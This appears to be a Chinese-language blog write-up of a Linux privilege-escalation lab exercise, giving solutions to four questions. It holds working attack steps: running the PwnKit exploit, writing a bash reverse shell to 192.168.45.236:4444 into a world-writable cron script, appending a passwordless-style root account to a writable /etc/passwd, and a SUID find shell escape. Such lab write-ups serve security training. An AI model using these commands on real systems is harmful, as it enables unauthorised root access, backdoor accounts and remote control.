Linux 提權 Capstone Exercise
Linux 提權 Capstone Exercise
Q2 :
透過下載這個 PwnKit https://github.com/ly4k/PwnKit,上傳到目標機
然後利用手動的方式執行如下
直接就提權拿到 root 與拿 flag
Q3 :
cat /var/log/cron.log 發現一直在跑一個 archiver
find / -type f -name archiver 2>/dev/null 路徑在 /etc/cron.hourly/archiver
ls -lah /etc/cron.hourly/archiver --> GG 沒權限
cat /etc/cron.hourly/archiver 看一下內容發現會去跑 /var/archives/archive.sh
ls -lah /var/archives/archive.sh --> 777 賓果
寫一行吧 bash -c "bash -i >& /dev/tcp/192.168.45.236/4444 0>&1"
4444 來了,whoami & id 確認是 root,直接拿答案吧
Q4 :
經過一番枚舉發現 /etc/passwd 有寫入的權限,那就標準作業
openssl passwd w00t --> 5RuYtykGkkWWc
寫入 root2 : echo "root2:5RuYtykGkkWWc:0:0:root:/root:/bin/bash" >> /etc/passwd
cat /etc/passwd 確認寫入 root2
su root2 輸入 w00t 看一下 whoami & id 拿 flag 吧
Q5 :
經過一番枚舉在查找特殊權限 s 的時候如下
find / -perm -u=s -type f 2>/dev/null
一個一個嘗試 SUID 後在 find 指令發現可以提權
./find . -exec /bin/sh -p \; -quit
whoami 確認一下是 root 後直接拿 flag
留言
張貼留言